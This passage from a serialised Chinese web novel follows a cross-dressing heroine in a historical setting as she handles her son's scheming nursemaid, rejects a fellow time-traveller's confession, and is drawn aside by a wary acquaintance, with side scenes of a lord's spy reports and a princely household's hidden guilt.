她又赶忙,遮掩的接了儿子的话,取笑道:“你还好意思说?是你自己巴巴求着我去的吧。结果听说你爹还在家,你连早饭都不好好用了,便嚷着要回来。”又对孟清辞半是抱怨半是宠溺道:“你还不知道,他是自己跑着回来的,整整两条巷子,你儿子有了爹忘了娘。” 孟清辞在榻上坐下,将儿子揽到膝头,轻轻刮了下他的小鼻子,叹气:“下次可不许再这样乱跑,若是跑丢了,可就回不了家了。” 说罢,她忽然把脸一板,冲孩子做出凶恶的表情,夸张地“嗷呜”一声:“记不记得阿爹说过的,外面有野狼,专叼乱跑的小孩,被叼走就再见不到爹娘了。” 岑亦初非但不怕,反而咯咯笑着往她怀里钻,奶声奶气地揭穿:“阿爹骗人,根本不是什么野狼,都是拐子贩人。” 孟清辞抬眼看向朱幼宜。朱幼宜正坐在对面捧着茶,见她望来,连忙摆手:“别看我,我可没教他。你儿子像你,别看他小,精着呢。” 孟清辞颠了颠有点重的儿子,小家伙圆滚滚的,压得她腿发麻,她没有反驳儿子,只是将他搂得更稳些,低头耐心问道:“谁告诉你的?” 岑亦初挺起小胸脯,得意洋洋地说:“那天人牙子来家里,我偷偷听见他跟管事说话!他说,哪个发烧的别看病着,但穿得好,细皮嫩肉的,个发烧的别看病着,还说,年纪相仿,叫管事买了,给我做伴读小厮正好!” 两岁的小家伙,学起话来竟摇头晃脑、惟妙惟肖,逗得孟清辞忍不住弯了嘴角,轻轻点了下他的额头:“鬼灵精,下次不许偷偷去,身边要带上人,记住了吗?” “知道了。”岑亦初乖巧的点头,心里却想:不偷偷去,哪能听到这么有意思的事? 一旁的朱幼宜却听得脸色渐沉,这事她竟全然不知,她脸色难看的说:“你今儿出门晚,多陪陪儿子吧。他早上没用多少,我去给他弄碗燕窝粥……” 直到朱幼宜出了门,岑亦初才怯怯地抬起小脸,一双黑葡萄似的眼睛一眨一眨,小声问:“阿爹,阿娘是不是生气了?” 孟清辞没想到儿子是个活宝,不由失笑:“你既然知道,往后就乖一些,你娘平时也忙,你这样,她只会责怪自己没照顾好你。” 岑亦初诚恳的用力点了点小脑袋,又问:“阿爹,我两岁了,以后能不要奶娘了吗?就让那个新买的陪我玩儿,他烧得从前的事情都不记得了,怪可怜的。” 孟清辞眸色微微一深,抚了抚儿子的头发,爽快应道:“好。” 小家伙顿时欢喜起来,一头扑进她怀里,听着阿爹的心跳,嗅着阿爹身上的味道,闷闷说一句:“阿爹最好了,我最喜欢阿爹了。” 孟清辞身体有一瞬间的僵直,喉间发涩,一股酸涩在心尖蔓延开,这孩子,是因利用而算计得来,她更应该补偿他,不应该迁怒他,疏远他,她从前,确实亏欠他。 只是儿子那一双黑湛湛的眼睛,实在太像傅珩。每当孩子凝望她,都仿佛傅珩在无声地质问:为何要骗他?叫她心惊。 朱幼宜甫一踏出门,只消一个眼色,心腹仆役便已会意,上前将候在外间、还不及求饶的奶娘嘴一捂,径直拖向前院。 朱幼宜脚下步履生风,百褶裙裾翻飞,似要晃出残影,云鬓间那支虫草鎏金点翠步摇随之急促摇曳。她一张精致的脸上阴云密布,几乎能滴出水来。 贴身婢女珍珠见主子先是动怒,继而嘴角泛起森森冷笑,便知此事绝难轻纵。 一到前院,珍珠立时命人将奶娘按在长凳上,又急遣小厮去唤管事。 岑管事曾是朱幼宜母亲的陪房,被朱幼宜从朱家带出来,做了如今岑府的管事,素来在朱幼宜面前有几分体面。 此时见朱幼宜端坐在堂前廊下,面寒如霜,岑管事心下不由一哆嗦。从前在朱家,老爷去后,大小姐多有隐忍,自从回了岑家,这两年,大小姐手段越发利索雷厉起来,心思也愈发深沉难测。 外人都道大小姐招了赘婿,姑爷须得背靠岑家,仰妻子鼻息,惧内的很,却不知道,在岑家,大小姐几乎是对姑爷唯命是从。 照理说,经了朱家一事,大小姐应是防备心重,轻易不会信人,何况是个招赘的男人。大小姐不仅招了赘婿,且据他看,大小姐只信任入赘的姑爷一个,叫他越发看不透起来。 朱幼宜瞥一眼岑管家,并不理会他,只执起团扇轻摇,目光冰冷地看着奶娘被打板子。 珍珠见朱幼宜胸脯剧烈起伏,便知道主子气得狠了,小少爷如今是主子的逆鳞。 珍珠见岑管家分不清轻重的模样,还在兀自出神,冷声道:“岑管家,姑娘信重你,才叫你管着府里,你如今是老糊涂了不成,后院你进不得,前院你也管不严实?小少爷在院子里乱跑,你们都瞎了?你和人牙子也不避着点?” 岑管家心下一惊,看看被打板子,堵嘴闷哼的奶娘,回过味来,定是这奶娘开小差儿,没看好小少爷,叫小少爷跑出来,看见他和人牙子买卖了。他膝盖一软,扑通跪在地上,磕了三个头:“老奴有负夫人,老奴求夫人给老奴一次机会,老奴一定好好整治他们。” 朱幼宜不看他,院里只闻打板子的‘啪啪’声,让岑管家不寒而栗。 直至二十板打完,奶娘已昏死过去,珍珠才扬声喊停。 朱幼宜摆了摆手里的团扇,嫌恶地瞥了一眼长凳上的奶娘:“拖下去,把她送矿上去,非死不得出。” 仆役们应声而动,利索地将瘫软的奶娘如死狗般拖了下去。 岑管家额头磕破的血迹沾在地面上,感觉自己后背的冷风搜搜的。 朱幼宜凝视他半晌,见他浑身战栗,待她缓过心口郁气,方道:“念在你儿子如今在肇庆府那边得力,此次便饶过你,但你要知道,但你须明白,岑府虽非高门大户,却也不能漏得如同筛子。若再有下次,休怪我不顾旧情。若自觉年迈力衰,现在便可领了银子,回家养老。” 岑管家儿子正得重用,他岂肯此时离去?一听主子说饶过他,如蒙大赦,不顾额上伤势,连连叩首:“老奴明白!绝不再犯!谢夫人恩典!谢夫人开恩!” 后宅主屋内,孟清辞勉励把傅珩的所有痕迹驱逐出脑海,抱着儿子,又问:“奶娘欺负你了?” 岑亦初摇摇小脑袋头,皱了皱鼻子,似乎在想从何说起,那一本正经的小模样,叫孟清辞失笑。 小家伙沉了小脸,模样更像傅珩几分,严肃道:“她总是私下里和我说,我吃了她的奶,就是他儿子,以后也要像孝顺阿娘一样孝顺她,还说她儿子是我的奶兄弟,就是我的亲兄弟,又因为我,奶兄弟没吃上一口她的奶,是我亏欠了奶兄弟,叫我以后要对奶兄弟好,什么好的都要让着奶兄弟。” 孟清辞蹙眉,没想到看着本本分分,唯唯诺诺的奶娘还有这样的野心。 又听儿子说:“可她明明拿了咱家的月钱,我不欠她的。” 孟清辞摸了摸儿子的头,她本也没有那些迂腐的想法,安抚的摸了摸儿子的后背,夸奖道:“我儿子真聪明,没叫她给你唬住,她是咱们家雇佣的,银货两讫,你不欠她,是她想要欺负你。” 岑亦初听阿爹夸他,开心的又卖弄:“是她贪心,什么蛇吞” 孟清辞哈哈笑道:“人心不足蛇吞象。” 岑亦初红着小脸,跟着阿爹呵呵笑着,心想:这我也知道。 “别只顾着缠着你爹,快过来把燕窝粥喝了。”朱幼宜端着燕窝粥进来,见两父子正笑得开心,脸上也不由自主浮起一丝笑意,语气柔和了几分:“在说什么趣儿呢,这么高兴?” 岑亦初闻声,便乖乖地从孟清辞膝头滑下来,端端正正坐到自己的小花凳上,仰头等着母亲喂食。 他其实早就不喜欢被人喂了,但阿娘方才似乎动了气,便忍耐下,哄哄阿娘开心罢了。 孟清辞便说了刚才的事情,气的朱幼宜险些甩了碗,恨恨道:“这么狠毒,敢教唆我儿子,罚她去矿上都是轻了。” 孟清辞很清楚那奶娘的下场,她也不是什么大善人,那奶娘今日能教唆孩子这个,日后指不定会是什么,并不觉得朱幼宜做的过分,她如今心肠硬的很。 只略过这些,和朱幼宜说了,不再给儿子找奶娘,另给儿子安排个玩伴儿,他们儿子早慧,也可慢慢教他认些简单的字了。 孟清辞昨夜已经将朱幼宜的话听进去,今日亦觉得自己亏欠儿子,陪着小家伙儿玩了半晌,又哄着睡了,才出府去。 戏楼二层的雅间内,孟清辞凭窗而正看得入神,戏台上,管弦声悠悠扬起,正上演一出书生女鬼情深似海的痴戏,那女鬼水袖轻抛,眼波如水流转,声声泣血,字字含情。 顾淮序推门走进雅间时,正见孟清辞倚在窗前,正入神的合着拍子击打窗沿,连他推门的动静都未曾察觉。他不由唇角一弯,也不出声打扰,只悄然走到她对面坐下。 待楼下一折唱罢,满堂喝彩,孟清辞方从戏中回神。一扭头,便见顾淮序不知何时已坐在对面,正闲闲地品着茶。她微微一怔:“你几时来的?怎也不出声?” 顾淮序抬眼看来,眼底含着一抹宠溺的笑意:“见你听得入迷,我不忍扰了你的兴致。” 孟清辞略有不自在,偏过脸:“呵,取笑我?” 顾淮序:“我什么时候笑过你?难得见你松快,不想你扫兴罢了。” 两人正说着,便听有人敲门,一个女子柔美的声音传来:“听说金爷来了,奴家特来拜谒。” 孟清辞:“进来罢!” 雅间的门被推开,那女子还没卸了装扮,正是方才在台上曲调婉转,勾魂摄魄的‘女鬼’。她眼波如勾,媚眼扫过金韫年,又很有分寸的规矩垂目,对着孟清辞盈盈一拜:“奴得金爷点拨,才有成角的造化,您能来已经是捧场,如何还能教您破费打赏,奴家心里有亏。” 孟清辞很是随意的靠在椅背上,手里的折扇刷的展开,潇洒的摇了摇,风流笑道:“你有天分,不忍你埋没了,也是你自己争气,我来了,自然要捧你的场,你若是实在要谢,便饮杯酒罢!” “金爷大恩,奴家无以为报,那奴家便恭敬不如从命了。”这是个很会察言观色的女子,也知道过犹不及,很是识趣的上前一步,给自己倒了杯酒,爽利的喝了,知道此时有旁人在,想必是有事要商谈,她不好再纠缠,便告退出去了。 雅间一时沉默下来,只余那女子甜腻的香粉味儿在两人间飘散。 良久,顾淮序叹口气,问道:“你还真当自己是男人了?” 孟清辞耸耸肩:“不演的像些,怎么叫人信服?” 孟清辞不想和他纠缠这个,反而问他道:“你今日约我,是有何事?” 顾淮序垂下眼睫,唇角扯平,淡声道:“无事便不能约你么?” 孟清辞垂目,合上折扇,转了两圈,放在桌上,实事求是道:“你如今的身份,于我一个做通事小民,总是见面,多有不便。” 顾淮序见孟清辞面无表情的看自己,又听她说这样的话,简直心如刀割,他握了握拳头,他与她对视良久,终究是败下阵来,嗓音低哑中有几分祈求:“你要的我都给你了,我只是想见你一面,也不能吗?” 顾聿琛一年多前穿越过来,成了顾太傅的嫡子顾淮序,后他将自己由御史台调任至礼部。不久,恰逢番邦遣使来朝,他奉命南下广州,督办贡品接收事宜。 正巧遇见当时已在商埠间已经颇有名气的掮客通事金韫年,别人识不出她的真身,他却是一眼便认出了她。 那时,他才明白自己为何会穿越而来,自从她坠机去世后,他的身体便每况愈下,没了她的世界,似乎失去了所有的颜色,他每时每刻都在懊悔,每时每刻都在想她,直到熬干了自己最后一滴血,猝死在实验室里。 孟清辞叹气:“我们是合作,我给你留了分红,顾家是清流,日后总有你需要银子的时候。” 顾淮序被她气的不轻:“我给你配方是为了银子吗?” 孟清辞侧头,很平静的面对他道:“你就当造福百姓了,毕竟这里太落后了。” 顾淮序深呼吸,知道她的脾气,不想被她牵着鼻子走,又问:“你总不能一直如此,你就没有别的打算?” 孟清辞:“什么打算?我现在不是很好?” 顾淮序深呼吸一口气,眸中情深似海,不再掩饰他的意图:“你总不能一直做男子,这世道你一个女子在外总是不方便,不如你随我回去,我娶你为妻,有了这个身份” “聿琛哥。”孟清辞轻声打断他。 顾淮序的心尖发颤,这一声好似隔了一辈子,自他们重逢,她再没这么唤过他,他难言激动的握紧了拳,又缓缓的松开,指尖难抑激动的轻颤。 孟清辞垂眸没有看他,音色透着凉薄:“这里的女子只能被困在后宅,这不是我想要的日子,暂且不提这个。你如今出身顾太傅府,带我回去你要如何交代?顾家不会接受一个来历不明,或者做过婢女的女子,成为顾家最出色的嫡长子的正妻,你要我做妾吗?” 顾淮序心沉到底,慌忙解释:“我不是这个意思,我怎么可能想要委屈你。” “我现在挺好的。”孟清辞又道:“倒是你,如今这个局面,你该回去了,傅珩已经参透了□□,很快就会有所动作,你现在已经是顾淮序,此时怎么也要混个从龙之功。” “若是没有你,那些又有什么用?”顾淮序被煎熬了多年的心,终于再难忍耐,他有些悲伤道:“我知道我来晚了,你受了很多苦,清辞,我喜欢你,你给我一个机会。” 他是因为她,才上书朝廷,留任在此。 孟清辞听了,清凌凌的眸子毫无波澜的回视顾淮序,从这张与顾聿琛几乎一模一样的脸,看入他的灵魂里,很平静的道:“你从前拒绝我的时候不是这样说的。” 顾淮序听了,只觉得心脏一阵一阵的绞痛,他不复温润沉着,卑微的道:“从前是我错了,我不该,不该” 他有些说不下去,他有预感,如果他说了实话,得到的一定不会是她的原谅。 这一年,他已经发现,清辞与从前的变化很大,顾聿琛有顾淮序从前的记忆,他不敢问她更多,也不敢想,从前金枝玉叶的孟家大小姐在这里受过多少苦。 两人重逢后,她对自己没有一丝一毫的依恋,更没有从前的爱慕敬仰,对他只有利用,而他只能抓住这一丝丝靠近她的机会,他已经错失过一次,他绝对不允许自己再愚蠢一次。 孟清辞很冷淡的道:“不该什么?不该利用我的喜欢?还是不该利用我对你的信任吊着我?又或者,在我死后,你后悔了,觉得,自己不该没有答应我的求爱?” 顾淮序浑身一震,眼底掠过一丝难以掩饰的惊骇。他未曾想到,自己那些深埋心底,阴暗隐秘的心思,竟被孟清辞窥破。 他倏地侧过脸去,喉结滚动,半晌才从齿间艰难地挤出几个字道:“是我配不上你,玷污了你的真心。” 孟清辞这一刻真是要感谢傅珩,若不是他对自己种香,她只怕无法平静的面对顾聿琛,只要看见顾聿琛忧伤的眼神,她便无法硬起心肠,何况要说这些伤人的话。 那年他为了救她,推开她,他自己反被车撞了,从此便不良于行,只能做在轮椅上。她一直心怀愧疚,后来,她情窦初开喜欢上他,她鼓起勇气表明心迹,想要和他在一起,他因为身体的原因拒绝了自己。 她从小便是个执拗的性子,想做的事情,从来都是撞了南墙也不回头,她觉得,他们有近二十年的感情,幼时他便照顾自己,少时他给自己补习,他们在一起的时间这样长,感情这样深,只要她愿意等,他总会想清楚的,可到自己飞机遇难,也没等来一个结果。 她那时候有使不完的热情,总是趁着自己不登台的时候去缠着他,甚至大胆的坐在他早就已经没有知觉的双腿上,任由他怎么呵斥都不下去。 如今想想,自己真是傻的透顶,他每次借故引开她身边出现的异性,每次让自己将心思只专注在他的身上,她那时候竟然从来都没有发现过,他对自己使的手段。 那些肮脏的、被逼的、阴暗的心思,被赤裸||裸的揭露在阳光下,让向来温和沉着的顾聿琛难堪的不敢抬头看孟清辞一眼。 这个他喜欢、深爱,视若瑰宝的女孩儿,他不想拖累她,却也无法眼睁睁的看着她去爱别人,只要一想到有一天她要离开自己,去爱另一个男人,他就嫉妒的几欲发狂,于是他仗着她的喜欢,她的信任,龌龊的欺骗她,霸占她,不允许她去喜欢别人,也不回应她。 孟清辞扯开唇角轻笑一声:“我欠你的,已经还完了,如今我们两清了,你欠我的,也还了,以后咱们互不相欠。” 顾淮序眼底骤然通红,目眦欲裂,猛地将人扯进自己怀里,似是想要将人揉进骨血里,每一个字都像是从齿缝间碾磨而出:“不,你不能这么残忍,从前是我错了,你给我个机会,我不能没有你。” 这个曾令孟清辞无数次沉溺的怀抱,往日里每一分贴近都足以让她心弦颤鸣,而今她竟毫无感觉。她其实在种香前就已经放下了这段感情。 可她想,惯性是很难改变的,如果没有种香,她此刻是否还会因此心悸? 她的沉默让顾淮序彻底失去了理智,他不管不顾的去寻她的唇,曾经,她也主动亲吻自己。他现在是个完整的人,可以堂堂正正的站在她身边,给她依靠,做她的男人。 孟清辞没有动,她还没有尝试找人试过,她至今仍对种香有一种好奇的心里。 顾淮序想要的也不是宣泄私欲,孟清辞那从骨子里透出的疏离与冷漠,顾淮序几乎瞬间便察觉到了,即便是她不爱他了,他们终究是彼此生命中最亲近的人,他却感受不到她的一丝温度,一丝牵念。 顾淮序有些绝望的拉开两人之间的距离,眸中全是破碎的忧郁之色。 孟清辞只是淡笑道:“我被种香了,除了给我种香的人,我对任何人都不可能有一丝感觉,现在看来是真的。” 顾淮序握着她纤弱肩膀的手止不住的颤抖,他虽然不知道什么是种香,可也听懂了她话里的含义,他忍着心痛问:“是谁?” 孟清辞轻叹一声:“你不需要知道。”说完挣开他,转身离开,开门前道:“早点回京,我们终究要活着,活着才能再见。” 顾淮序没有再追,他知道这便是她的态度。 孟清辞步出戏楼,正要走向自家马车,却见一辆奢华的马车徐徐驶近,恰好在她面前停下。 车帘轻掀,露出的竟是陈君砚的面容。孟清辞眼底掠过一丝讶色,随即含笑拱手道:“巧了,在这里遇见七哥?七哥是来听戏的吗?” 陈君砚看了眼金韫年身后的戏楼,一副了然笑道:“子闵好兴致,不如陪为兄喝去几杯。”心想:说金韫年风流真是不假,还真在戏楼遇见他了。 孟清辞不想与他过多接触,总觉得陈君砚离傅珩太近了,她搪塞道:“哎呦,不” 陈君砚压下唇角,略显冷沉,呵了一声:“怎么?说改日陪我的话,难道是子闵框我的?” 孟清辞知道不能再驳陈君砚的面子,当即展颜笑道:“七哥既有此雅兴,小弟自当奉陪。只是你我独饮难免寂寥,不若请红绡前来舞上一曲,也好助助兴?” 陈君砚唇角微扬,目光却不容置喙:“不必,就你我二人足矣。” 他刚才在戏楼里,便见金韫年和礼部顾大人在二楼的雅间里,看上去,二人言谈间神态从容,不似初识,倒有几分熟稔之意。可不过片刻,那雅间的窗扇便被轻轻合上,此后许久未见动静。 他不由得心生疑窦:金韫年纵使通晓番语,说到底也不过是一介通事,有什么本事,叫京城来的顾大人另眼相待?两人又在雅间洽谈何事?若真是紧要之事,又怎么会在人多眼杂的戏楼里? 孟清辞唇角的笑意几不可察地淡了三分,她心中暗自揣度,陈君砚此举何意。未及细想,陈君砚已淡然开口:“也不必另备车马,你直接上来与我同乘便是。” 孟清辞心下狐疑,却只能应下,又侧首交代随从严江,让自家马车跟在后面—— 作者有话说:傅珩:媳妇有人惦记,在线等,挺急的[化了] 孟清辞:等吧你[白眼] 昨天的+今天,前天休息一天,感谢等我,感谢催我,感谢支持 第53章 第 53 章 心焦难耐 深夜, 闽州巡抚府的书房内灯火通昼。 亲信上前禀报::“近日拨下来的新军服质地更轻薄,似乎比之前也更耐穿,属下试过了, 那天丝棉确实是个好东西……” 一瘦弱老头, 摇了摇手里的扇子,不咸不淡道:“此事不必再赘述。你只说说, 你麾下兵士练习投掷的准头,如今练得如何了?大战在即, 到时候攻城,都指望它了,你须得知道, 有了利器,也要有神兵。” 那亲信将领本就不善言辞,不过随口感慨一句, 却被这牛鼻子给撅回来,脸上立时有些挂不住,梗着脖子不忿的道:“我手底下的兵, 自然个个都是神兵!” 小老头随竿子而上,追问道:“既然如此,何时请我等前去一观?” 亲信将领不屑嗤笑一声:“军中机密, 岂是尔等想看便能看的?” 傅珩端坐上首, 见正事已议论得差不多了, 底下人开始‘打牙祭’, 便抬手制止:“行了, 今日便到此,都散了。” 众人见他面色沉肃,皆不敢多言, 齐刷刷起身告退,一个个撤的比兔子还快。 属实是,如今主上心思难测,阴晴不定,最要紧的是,处罚起人来毫不手软,谁也不想在此刻触他的霉头。 待亲信与门客尽数散去,书房内骤然空寂。 傅珩向后靠入椅背,他抬手用力揉按着发胀的额角。良久,低哑的嗓音唤道:“墨简。” 一直守在廊下的墨简应声而入,步履无声:“主子。” 傅珩缓缓吐出一口积压的郁气,眼也未抬,阴郁冷沉道:“如何了?” 墨简躬身回禀道:“已遵照您的吩咐,将当初沈大小姐不,已经将沈云夕当初如何谋害夫人的事情,传信给孟王爷了,不过” 傅珩眼皮掀了掀,眸色寒凉如寒潭:“不过什么?” 墨简背脊一凉,赶忙道:“只是孟王爷那边,似乎并无动那沈云夕的意思。” “暂且不不必理会他。”傅珩呵呵冷笑一声,又问:“还有吗?” 墨简继续禀告:“小顾大人在市舶司,专司番邦交涉之事,从不过问其他,平日也深居简出,唯有一处……” 傅珩指尖在案上轻轻一敲,声线沉冷:“你如今回话,怎么愈发吞吞吐吐?是皮紧了?” 墨简一个激灵,再不敢迟疑:“是!小顾大人似乎与一名在小海做掮客的通事往来甚密。据说那人颇有本事,通晓数种番语,与番商关系深厚。最奇的是,那掮客,竟是岑家大小姐的赘婿……” 傅珩目光微动,似是无意识地摩挲了下书案上一本早已卷边的游记,默然片刻,方道: “去查。” 墨简深深躬身应诺:“是。” 蜀地孟王府的后宅里,主屋里一侧是黄花梨的博古架,格内琳琅满目,摆着定窑的白釉刻花梅瓶,三寸高的一尊红珊瑚红釉观音坐像惟妙惟肖,并青玉螭龙镇纸皆是价值连城。 另一侧与内室间隔着一架描金双面绣的八扇屏风,金银双线秀出一幅烟波浩渺,峰峦叠嶂的春晓图。 绕过屏风的主卧里,铺着色彩浓艳的西域缠枝牡丹纹裁绒地毯,一张雕刻玉兰、海棠、桂花寓意“玉堂富贵”的金丝楠木架子床,天青色软烟罗的幔帐松松挽起。 孟王妃沈氏神色恹恹的靠在床头,孟王爷刚亲手喂她服下汤药,小几上的药碗,还余着一缕温热的药气。 “只一颗便不苦了。”孟王爷亲手味她一颗蜜饯,又闻声道:“你今日起色好了多了,大夫说你思虑过重,不妨请戏班子进来给你解闷儿,让那些夫人小姐的过府陪你说说话。” 孟王妃沈氏倚在锦垫上,她面色白皙,透着三分病态来,眉眼间凝着一抹散不去的愁绪,却难掩倾国倾城的姿色,她年近四十,看着却像是三十来岁的美妇人,风姿绰约、雍容华贵。 “你知道的,我我不喜欢那些热闹,你叫她们过来,也不过是奉承谄媚,倒叫她们战战兢兢……”她轻叹一声,似是想到了什么,她忽然以手抚胸,轻蹙黛眉,低低咳了两声,更是让人我见犹怜。 “你是蜀地的孟王妃,便是她们的天,多敬畏你也不为过,伺候你,更是他们的本分。”孟王爷轻轻抚顺她的背脊,疼惜道:“怎么还是不好,叫大夫来给你再瞧瞧?” 孟王妃沈氏止住了咳,纤手轻轻握住孟王爷的手臂,柔声阻拦道:“不必,并没有什么大碍,不过是些陈年的老毛病,你……又不是不知道。” 孟王爷闻言,心口一滞,他倏地垂眸,掩去眼底翻涌的戾气,将她揽在怀里,他轻轻握住她微凉的手,仍旧闻声哄慰:“你总是这般,心肠太软,什么都要往自己身上揽,谁也不想的,并不是你的错。” 一番话,说得沈氏泪盈于睫,那强撑的坚强瞬间瓦解。她将额头无力地靠上他坚实的肩头,语带哽咽:“别说了。” 恰在此时,一道轻盈的身影,绕过那架精美的八扇屏风,人未至,声先到,带着少女特有的清脆与讨巧:“姑母,云夕来探望您了!您今日,身子可好些了……” 孟王妃沈氏闻声,赶忙推开孟王爷,偏过头,用袖角仓促地拭去眼角的泪痕。 沈云夕突兀的闯入,恰触怒孟王爷压抑的怒火,厉声呵斥:“放肆,谁让你进来的?” 沈云夕来姑母院里向来无需通传,也从未见过姑父对她如此震怒,当即吓得止住脚步,声音发颤:“我……姑、姑父……云夕知错了。”说话间她的眼眶已迅速泛红,泪珠儿也在里面打转,此时竟是和王妃沈氏有三分相似。 “是云夕来了啊。”孟王妃立刻放柔了嗓音,温声安抚道,“你姑父今日心绪不佳,你别往心里去。” 说罢,孟王妃又侧首轻声嗔怪孟王爷:“好端端的,吓孩子做什么?若非云夕时常在我身边陪伴说话,只怕我这身子撑不住这么久。” 孟王爷眉头紧锁,压抑着心头火气,沉声制止:“莫要说这些丧气话。当年随我来蜀地时,你亲口说过,要一直陪在我身边。“ 见妻子神色哀恸,孟王爷为让她宽心,只得缓了神色,转向沈云夕道:“原来是云夕啊。方才本王未曾留意,吓着你了。稍后让你姑母在我私库理选两件首饰,权当给你压惊。” 沈云夕忙垂首福身,恭谨回话:“姑父说的哪里的话,原是云夕不懂规矩,莽撞闯入。云夕身为小辈,岂有让长辈赔礼的道理?姑父这般,反倒是让云夕无地自容了。” 在妻子无声的注视下,孟王爷唇角微抿,再度开口:“本王平日政务繁忙,多亏有你常伴你姑母身边。赏你,是应当的。” 沈云夕再度深深一福,娴雅端庄,言辞恳切道:“云夕自幼在姑母身边长大,姑母与姑父待云夕犹如亲女,孝顺姑母、敬重姑父,本是云夕分内之事,云夕不敢居功。” 孟王爷看着沈云夕低眉顺目的乖顺模样,眸色深了深,凝视沈云夕良久道:“你是个懂事的好孩子,你姑母没有白疼你一场。” 他轻拍了怕妻子的手,又对沈云夕道:“你姑母今日也乏了,你既已请过安,心意到了,便退下罢。”他语气平和,却带着不容置喙的意味。 沈云夕身子像是风中细柳,几不可察地微微一晃,她当即垂下头,恭顺应道:“是,云夕改日再来给姑母、姑父请安,云夕先告退了。” 孟王妃望着沈云夕那失魂落魄、备受打击的背影消失在屏风后,不由得轻叹一声,她带着几分责备,纤手在他臂上不轻不重地推搡了一下,怨怪道:“你心里不痛快,何苦迁怒于她?看把这孩子吓得,王爷的威风都耍到我面前来了。” “是我不好。”孟王爷任由妻子撒气,语气里满是认错的温存。他顺势扶着她缓缓躺下,动作轻柔地为她掖好被角:“你该午睡了,莫要再为这些事劳神费心。” 孟王妃顺势躺下,又是一声几不可闻的轻叹。她确实精神难以为继,加之汤药中,安神的成分渐渐起效,她眼睫缓缓垂下,不过几息之间,气息便变得匀长而深沉。 孟王爷抿唇,眸色阴郁的看着妻子,在膝上的拳头紧了松,松了紧,他若不是看在妻子身体羸弱,怕她经受不住打击,岂会容那害了她女儿的下贱坯子活到此时? 想到他那贴心乖巧的小棉袄,孟王爷忍不住眼眶一热,喉头滚动,终究忍了下去。 沈云夕出了孟王妃的院落,越走越快,步子凌乱不稳,她藏在袖中的手握成拳,指甲深深陷进掌心,她却浑然不觉疼痛。 一路几乎是逃也似的回到了自己的院落。直至进了她的闺房,除了金秀,将其他婢女全都屏退。此时沈云夕才惊觉,中衣早已被冷汗浸透,冰凉地贴在肌肤上。 她此刻顾不得这个,惊惶的在屋内来回踱步,恐惧不断在心里蔓延开,搅得她心神不宁。她一边徘徊,一边低声喃喃:“他肯定是知道了,他肯定是知道了。” “小姐,您是怎么了?”金秀被自家小姐这副失魂落魄的模样吓得不轻。 金秀方才并未随侍进屋,只隐约听得内室里,孟王爷似乎发了火,而后又像是平息了。此刻见沈云夕如此情状,更是满心茫然,全然不知究竟发生了何事。 沈云夕豁然转身掐住金秀的肩膀,一向优雅从容的面容变得狰狞可怖,嗓音颤抖又恐惧:“他肯定是知道了,知道了是我干的,我该怎么办?我该怎么办?” 金秀疼的蹙眉,却不敢声张,虽然不知道沈云夕在说什么,让酒安抚道:“小姐别慌,若是知道了,又怎么会安然无恙,您别自己吓自己了。” 像是听进了金秀的话,沈云夕清醒了几分,她别过耳边的碎发,拿出帕子擦了擦额头的细汗,又给自己灌了一杯冷茶,双手撑着桌沿,嗓音阴森低沉:“她都死了两年了,死无对证,我又有什么可怕的,这是连老天都在帮我。” 沈云夕转而又仰头,咯咯咯的桀桀怪笑起来:“这就是她的命,小姐身子丫鬟命,呵呵呵呵。” 沈云夕又几分癫狂的神色,吓得金秀咬住唇不敢出声,自从两年前,自家小姐从闽州回来,就变得神神叨叨,疑神疑鬼,平日在外面仍旧端庄娴雅,私下里却是性情大变。 广州城内本就炎热,日头毒辣得能将青石板路烤出氤氲热浪,小厮跑得鞋底都快冒了烟,一路冲进岑府,他上气不接下气,连滚带爬的到了朱幼宜面前,着急道:“夫人,夫人不好了。” 侍立在旁的珍珠当即竖起了眉毛,呵斥道:“呸呸!胡吣什么!一点规矩都不懂!夫人好端端在这儿呢,会不会说话?” 那小厮被珍珠一喝,惊得满身暑气都散了大半,登时清醒了几分。他赶忙咽了咽干得快要冒烟的喉咙,躬身急禀:“夫人容禀,是爷让小的赶紧回来报信,他被陈七爷拉去酒楼喝酒了,让夫人速去迎迎。” 正在核对账目、拨弄算珠的朱幼宜闻言,算盘“啪”地一搁,人已腾地站起身,雷厉风行的往外走,行动间带起一阵风。 “啰嗦这半天,怎不早说!”她语带埋怨,又交际吩咐:“快备马车。” 且说,孟清辞上了陈君砚的马车,马车内逼仄局促的空间内,厚重的车帘将大半是日光都隔绝在外,只余几缕光线在幽暗中浮动。 如此近的距离,陈君砚似有若无的打量如影随形,那目光似是不着痕迹,却让孟清辞倍生警惕,袖中的手不自觉地收紧了三分。 陈君砚不动声色的关切问道:“子闵似乎有些紧张?” 孟清辞尽量放松自己,唇边牵起一抹恰到好处的弧度,笑道:“叫七哥发现了,能得七哥抬举,小弟却有些激动。” 陈君砚没料到他会这般作答,先是一怔,随即轻轻摇头,眼底漾开笑意,失笑道:“你既肯唤我一声七哥,又说什么抬举不抬举的,岂非太过见外?” 孟清辞只得顺着话头继续胡扯,他轻叹一声,眉宇间适时染上几分黯淡,故作怅然道:“哎,世人如何看我,我又岂会不知,七哥待小弟真心,这般真心,小弟自然深感五内” 话音未落,马车猛地一晃,孟清辞猝不及防,整个人顺着惯性向前栽去,眼看额头就要撞上坚硬的车壁,陈彦君眼疾手快的扶了他一把。 陈君砚不想,掌心触及的腰身竟异常纤细柔软,隔着衣料也觉细弱,只感觉这个新‘弟弟’手臂也是细若无骨,不觉心下诧异:也不知道,岑大小姐是否会嫌弃他这个赘婿过于单薄。 孟清辞的额头磕在陈君砚的肩膀上,疼的她哎呦一声,更让她心惊的是箍在腰间的那只手掌,衣衫单薄,那手掌炙热的温度像是能烧透她衣衫下的肌肤。 她慌忙借力直起身,一手揉着发红的额角,一面打趣自嘲道:“多谢七哥,若不是七哥扶了我一把,只怕我便要破相了,要知道,我家夫人最是看重我这张脸,若是今日破了相回去,可没有我的好果子吃,便是小弟捧着多少银子回去怕都无济于事。” 陈君砚被她这番话说得哭笑不得。见她非但不以赘婿身份为忤,反而坦然自嘲,心下倒对她生出几分另眼相看。 “爷,到了。”这时候小厮在外道:“刚有马行得急,差点躲避不急,叫爷受惊了。” 陈君砚:“无妨。”便与金韫年一同进了酒楼。 孟清辞被陈君砚半请半拉地带到酒楼雅间,原以为对方有什么紧要之事相商。不想一壶酒都快见了底,陈君砚却始终言笑晏晏,半点不提正事。 孟清辞心下愈发纳罕,摸不准陈君砚葫芦里卖的什么药,几番欲将话头引向正题,奈何陈君砚或是语锋一转,不知是过于油滑,还是无意,总也不给她这个开口的机会。 